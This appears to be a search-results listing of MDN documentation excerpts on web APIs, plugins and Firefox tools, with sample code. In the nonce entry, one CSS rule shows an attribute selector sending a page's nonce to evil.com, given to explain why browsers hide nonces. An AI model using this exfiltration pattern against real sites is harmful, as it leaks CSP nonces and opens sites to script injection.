http://en.wikipedia.org/wiki/x86_calling_conventions abi abi stands for "application binary interface".
... http://en.wikipedia.org/wiki/application_binary_interface os specific windows https://msdn.microsoft.com/en-us/library/k2b2ssfy.aspx https://msdn.microsoft.com/en-us/library/9b372w95.aspx details with respect to js-ctypes this explains how to use it in the js-ctypes scope.
Gecko Plugin API Reference - Plugins
deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in plug-in side plug-in api this chapter describes methods ...
... npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser.
Plugins
also from firefox 55 onwards, flash and other plugins can no longer be loaded from any url scheme except for http:// and https:// (bug 1335475).
... see also flash can now be loaded only from http/https for more useful information.
Deprecated tools - Firefox Developer Tools
more details about the web audio editor alternatives alternatives include audion and https://github.com/spite/webaudioextension web extensions.
... more details about the shader editor alternatives an alternative to this panel is this extension: https://github.com/spite/shadereditorextension, or spector.js also supports a shader editor that requires a library to use a shader reloader hook.
Index - Firefox Developer Tools
46 network monitor debugging, dev tools, firefox, guide, networking, tools, l10n:priority the network monitor shows you all the network requests firefox makes (for example, when it loads a page, or due to xmlhttprequests), how long each request takes, and details of each request.
... 135 set an xhr breakpoint debugger, debugging, javascript, xhr breakpoint an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program.
Migrating from Firebug - Firefox Developer Tools
show network requests the console panel in firebug allows to log ajax requests (aka xmlhttprequests).
...the name, value, domain, path, expiration date and whether the cookie is http-only.
Responsive Design Mode - Firefox Developer Tools
select a device, and responsive design mode sets the following properties to match the selected device: screen size device pixel ratio (the ratio of device physical pixels to device-independent pixels) touch event simulation additionally, firefox sets the user-agent http request header to identify itself as the default browser on the selected device.
...the set of devices, and the values associated with each device, are taken from https://github.com/mozilla/simulated-devices.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
if (attribute.localname == "value" && attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...in later versions, in compliance with html5, it is https://www.w3.org/1999/xhtml as in xhtml.
Using the Beacon API - Web APIs
beacon requests use http post and do not require a response.
... window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(url, data); // log the data and result console.log("sendbeacon: url = ", url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handle...
Cache.delete() - Web APIs
WebAPICachedelete
if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match.
... ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
Cache.keys() - Web APIs
WebAPICachekeys
if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match.
... ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
Cache.matchAll() - Web APIs
WebAPICachematchAll
if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match.
... ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
CacheStorage.match() - Web APIs
for example, if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match.
... ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
CanvasPattern.setTransform() - Web APIs
html <canvas id="canvas"></canvas> <svg id="svg1"></svg> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in...
...date live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); };</textarea> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var textarea = document.getelementbyid('code'); v...
CanvasRenderingContext2D.drawImage() - Web APIs
html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div> javascript the source image is taken from the coordinates (33, 71), with a width of 104 and a height of 124.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimageactualsize() { // use the intrinsic size of image in css pixels for the canvas element canvas.width = this.naturalwidth; canvas.height = this.naturalheight; // will draw the image as 300x227, ignoring the custom size of 60x45 // given in the constructor ctx.drawimage(this, 0, 0); // to use the custom size we'l...
Hit regions and accessibility - Web APIs
partially overlaying the <a href="http://en.wikipedia.org/wiki/circle" onfocus="drawcircle();" onblur="drawpicture();">circle</a>.
... partially overlaying the circle is a green <a href="http://en.wikipedia.org/wiki/square" onfocus="drawsquare();" onblur="drawpicture();">square</a> and a purple <a href="http://en.wikipedia.org/wiki/triangle" onfocus="drawtriangle();" onblur="drawpicture();">triangle</a>, both of which are semi-opaque, so the full circle can be seen underneath.</p> </canvas> see the video how nvda reads this example by steve faulkner.
ChildNode.after() - Web APIs
WebAPIChildNodeafter
with(node) { after("foo"); } // referenceerror: after is not defined polyfill you can polyfill the after() method in internet explorer 9 and higher with the following code: // from: https://github.com/jserz/js_piece/blob/master/dom/childnode/after()/after().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('after')) { return; } object.defineproperty(item, 'after', { configurable: true, enumerable: true, writable: true, value: function after() { var argarr = array.prototype.slice.call(arguments), ...
...argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(docfrag, this.nextsibling); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); another polyfill // from: https://github.com/fabiovergani/js-polyfill_element.prototype.after/blob/master/after.js (function(x){ var o=x.prototype,p='after'; if(!o[p]){ o[p]=function(){ var e, m=arguments, l=m.length, i=0, t=this, p=t.parentnode, n=node, s=string, d=document; if(p!==null){ while(i<l){ e=m[i]; if(e instanceof n){ t=t.nextsibling; if(t!==null){ ...
Document.createElementNS() - Web APIs
important namespace uris html http://www.w3.org/1999/xhtml svg http://www.w3.org/2000/svg mathml http://www.w3.org/1998/math/mathml xul http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul xbl http://www.mozilla.org/xbl example this creates a new <div> element in the xhtml namespace and appends it to the vbox element.
... although this is not an extremely useful xul document, it does demonstrate the use of elements from two different namespaces within a single document: <?xml version="1.0"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml" title="||working with elements||" onload="init()"> <script type="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchil...
Document.createNSResolver() - Web APIs
there is no way in xpath to pick up the default namespace as applied to a regular element reference (e.g., p[@id='_myid'] for xmlns='http://www.w3.org/1999/xhtml').
... to match default elements in a non-null namespace, you either have to refer to a particular element using a form such as *namespace-uri()=http://www.w3.org/1999/xhtml and name()=p[@id='_myid'] (this approach works well for dynamic xpath expressions where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace.
Document.getElementsByTagNameNS() - Web APIs
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>getelementsbytagnamens example</title> <script type="text/javascript"> function getallparaelems() { var allparas = document.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = allparas.length; alert("there are " + num + " &lt;p&gt; elements in this document"); } function div1paraelems() { var div1 = document.getelementbyid(...
..."div1") var div1paras = div1.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there are " + num + " &lt;p&gt; elements in div1 element"); } function div2paraelems() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div2paras.length; alert("there are " + num + " &lt;p&gt; elements in div2 element"); } </script> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> ...
Document.location - Web APIs
WebAPIDocumentlocation
this means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.
... syntax locationobj = document.location document.location = 'http://www.mozilla.org' // equivalent to document.location.href = 'http://www.mozilla.org' examples console.log(document.location); // prints a location object to the console specifications specification status comment html living standardthe definition of 'document.location' in that specification.
Examples of web and XML development using the DOM - Web APIs
": height=" + arrimages[i].height + ", width=" + arrimages[i].width + ", style.height=" + arrimages[i].style.height + ", style.width=" + arrimages[i].style.width + "<\/li>"; } strhtml += "<\/ul>"; objoutput.innerhtml = strhtml; } </script> </head> <body onload="init();"> <p>image 1: no height, width, or style <img id="image1" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif"> </p> <p>image 2: height="50", width="500", but no style <img id="image2" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" height="50" width="500"> </p> <p>image 3: no height, width, but style="height: 50px; width: 500px;" <img id="image3" src="https://udn.realityripple.com/samples/d2/8ba7141ed1.gif" ...
... <!doctype html> <html lang="en"> <head> <title>changing color and font-size example</title> <script> function changetext() { var p = document.getelementbyid("pid"); p.style.color = "blue" p.style.fontsize = "18pt" } </script> </head> <body> <p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p> <form> <p><input value="rec" type="button" onclick="changetext();" /></p> </form> </body> </html> example 4: using stylesheets the stylesheets property on the document object returns a list of the stylesheets that have been loaded on that document.
Element.currentStyle - Web APIs
* http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.getAttributeNS() - Web APIs
<svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced attribute!"/> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( 'attribute...
... <!doctype html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="foo value"/> </svg> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log('attribute value: ' + circle.getattribute('test:foo')); </script> </body> </html> notes namespaces are only supported in xml documents.
Element.getElementsByTagNameNS() - Web APIs
for example, if you need to look for xhtml elements, use the xhtml namespace uri, http://www.w3.org/1999/xhtml.
...var table = document.getelementbyid("forecast-table"); var cells = table.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "td"); for (var i = 0; i < cells.length; i++) { var axis = cells[i].getattribute("axis"); if (axis == "year") { // grab the data } } specifications specification status comment domthe definition of 'element.getelementsbytagnamens()' in that specification.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.na...
...for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
Element.namespaceURI - Web APIs
if (element.localname == "browser" && element.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...in later versions, in compliance with html5, it is http://www.w3.org/1999/xhtml as in xhtml.
EventTarget.addEventListener() - Web APIs
common targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
... example of options usage html <div class="outer"> outer, once & none-once <div class="middle" target="_blank"> middle, capture & none-capture <a class="inner1" href="https://www.mozilla.org" target="_blank"> inner1, passive & preventdefault(which is not allowed) </a> <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> inner2, none-passive & preventdefault(not open new page) </a> </div> </div> css .outer, .middle, .inner1, .inner2 { display: block; width: 520px; padding: 15px; margin: 15px; text-decorat...
FederatedCredential - Web APIs
examples var cred = new federatedcredential({ id: id, name: name, provider: 'https://account.google.com', iconurl: iconurl }); // store it navigator.credentials.store(cred) .then(function() { // do something else.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
FileSystemEntry - Web APIs
for example, if your app is in http://www.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Introduction to the File and Directory Entries API - Web APIs
for example, you are likely to use one of the following: xmlhttprequest (such as the send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to programmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving.
...for example, while an app or a page in http://www.example.com/app/ can access files from http://www.example.com/dir/, because they have the same origin, it cannot retrieve files from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol).
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification.
FormDataEvent - Web APIs
this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
.../ construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
Guide to the Fullscreen API - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLAreaElement.referrerPolicy - Web APIs
syntax refstr = areaelt.referrerpolicy; areaelt.referrerpolicy = refstr; values "no-referrer" meaning that the referer: http header will not be sent.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLFormElement - Web APIs
htmlformelement.method a domstring reflecting the value of the form's method html attribute, indicating the http method used to submit the form.
..."pet" value="dog"> dog</label></p> </fieldset> <fieldset> <legend>owned vehicles</legend> <p><label><input type="checkbox" name="vehicle" value="bike">i have a bike</label></p> <p><label><input type="checkbox" name="vehicle" value="car">i have a car</label></p> </fieldset> <p><button>submit</button></p> </form> </body> </html> submitting forms and uploading files using xmlhttprequest if you want to know how to serialize and submit a form using the xmlhttprequest api, please read this paragraph.
HTMLImageElement.alt - Web APIs
<div class="container"> <img src="https://udn.realityripple.com/samples/87/eace6b7d6a.svg" alt="new page!" class="pageinfo-badge"> <p class="contents"> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.complete - Web APIs
tbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadimage("https://somesite.net/huge-image.jpg", lightboximgelem); lightboxcontrolselem.disabled = false; } /* ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.crossOrigin - Web APIs
const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ${url}`;...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.referrerPolicy - Web APIs
possible values are: "no-referrer" meaning that the referer: http header will not be sent.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.src - Web APIs
examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.useMap - Web APIs
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.x - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLImageElement.y - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Headers() - Web APIs
WebAPIHeadersHeaders
syntax var myheaders = new headers(init); parameters init optional an object containing any http headers that you want to pre-populate your headers object with.
...in the following snippet we create a new headers object, adding some headers by passing the constructor an init object as an argument: var httpheaders = { 'content-type' : 'image/jpeg', 'accept-charset' : 'utf-8', 'x-my-custom-header' : 'zeke are cool' }; var myheaders = new headers(httpheaders); you can now create another headers object, passing it the first headers object as its init object: var secondheadersobj = new headers(myheaders); secondheadersobj.get('content-type'); // would return 'image/jpeg' — it inherits it from the fi...
Headers.append() - Web APIs
WebAPIHeadersappend
syntax myheaders.append(name, value); parameters name the name of the http header you want to add to the headers object.
... value the value of the http header you want to add.
Headers.delete() - Web APIs
WebAPIHeadersdelete
this method throws a typeerror for the following reasons: the value of the name parameter is not the name of an http header.
... syntax myheaders.delete(name); parameters name the name of the http header you want to delete from the headers object.
Headers.get() - Web APIs
WebAPIHeadersget
syntax myheaders.get(name); parameters name the name of the http header whose values you want to retrieve from the headers object.
... if the given name is not the name of an http header, this method throws a typeerror.
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
syntax myheaders.getall(name); parameters name the name of the http header whose values you want to retrieve from the headers object.
... if the given name is not the name of an http header, this method throws a typeerror.
Headers.has() - Web APIs
WebAPIHeadershas
syntax myheaders.has(name); parameters name the name of the http header you want to test for.
... if the given name is not a valid http header name, this method throws a typeerror.
Headers.set() - Web APIs
WebAPIHeadersset
syntax myheaders.set(name, value); parameters name the name of the http header you want to set to a new value.
... if the given name is not the name of an http header, this method throws a typeerror.
Basic concepts - Web APIs
it's not that different from the way that xmlhttprequest works.
...for example, while an app or a page in http://www.example.com/app/ can retrieve data from http://www.example.com/dir/, because they have the same origin, it cannot retrieve data from http://www.example.com:8080/dir/ (different port) or https://www.example.com/dir/ (different protocol), because they have different origins.
MediaSource - Web APIs
examples the following simple example loads a video with xmlhttprequest, playing it as soon as it can.
...ce = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
Media Session API - Web APIs
it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://dummyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' }, { src: 'https://dummyimage.com/256x256', sizes: '256x256', type: 'image/png' }, { src: 'https://dummyimage.com/384x384', sizes: '384x384', type: 'im...
...age/png' }, { src: 'https://dummyimage.com/512x512', sizes: '512x512', type: 'image/png' }, ] }); navigator.mediasession.setactionhandler('play', function() { /* code excerpted.
Transcoding assets for Media Source Extensions - Web APIs
(optional) if you decide to use dynamic adaptive streaming over http (dash) for adaptive bitrate streaming, you need to transcode your assets into multiple resolutions.
... [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a command-line utility for transcoding your media into the required formats.
NavigatorID.userAgent - Web APIs
some firefox extensions do that; however, this only changes the http header that gets sent, and doesn't affect browser detection performed by javascript code.
... syntax var ua = navigator.useragent; value a domstring specifying the complete user agent string the browser provides both in http headers and in response to this and other related methods on the navigator object.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.names...
...for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
Node.namespaceURI - Web APIs
WebAPINodenamespaceURI
if (node.localname == "browser" && node.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul browser } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...in later versions, in compliance with html5, it is https://www.w3.org/1999/xhtml as in xhtml.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e = this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; } }); } polyfill for internet explorer 9+ a...
...nd safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/previouselementsibling/previouselementsibling.md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('previouselementsibling')) { return; } object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibl...
PaymentRequest.canMakePayment() - Web APIs
async function initpaymentrquest() { const details = { total: { label: "total", amount: { currency: "usd", value: "0.00", }, }, }; const supportsapplepay = new paymentrequest( [{ supportedmethods: "https://apple.com/apple-pay" }], details ).canmakepayment(); // supports apple pay?
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Payment processing concepts - Web APIs
https://apple.com/apple-pay payments are handled using the apple pay service.
... https://google.com/pay payments are processed by google pay.
PerformanceEventTiming - Web APIs
// keep track of whether (and when) the page was first hidden, see: // https://github.com/w3c/page-visibility/issues/29 // note: ideally this check would be performed in the document <head> // to avoid cases where the visibility state changes before this code runs.
...// https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid if the page wasn't hidden prior to // the entry being dispatched.
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied content-codings.
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
PopStateEvent - Web APIs
the popstate event as an example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // al...
...erts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // alerts "location: http://example.com/example.html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired when we activate that entry after the second call to history.back().
ProgressEvent.initProgressEvent() - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http, this only represent the content itself, not headers and other overhead.
ProgressEvent.loaded - Web APIs
when downloading a resource using http, this only represent the part of the content itself, not headers and other overhead.
... syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
ProgressEvent.total - Web APIs
when downloading a resource using http, this only represent the content itself, not headers and other overhead.
... syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PushEvent.data - Web APIs
WebAPIPushEventdata
itle || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'data' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
PushEvent - Web APIs
WebAPIPushEvent
|| "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'pushevent' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
RTCDataChannel: error event - Web APIs
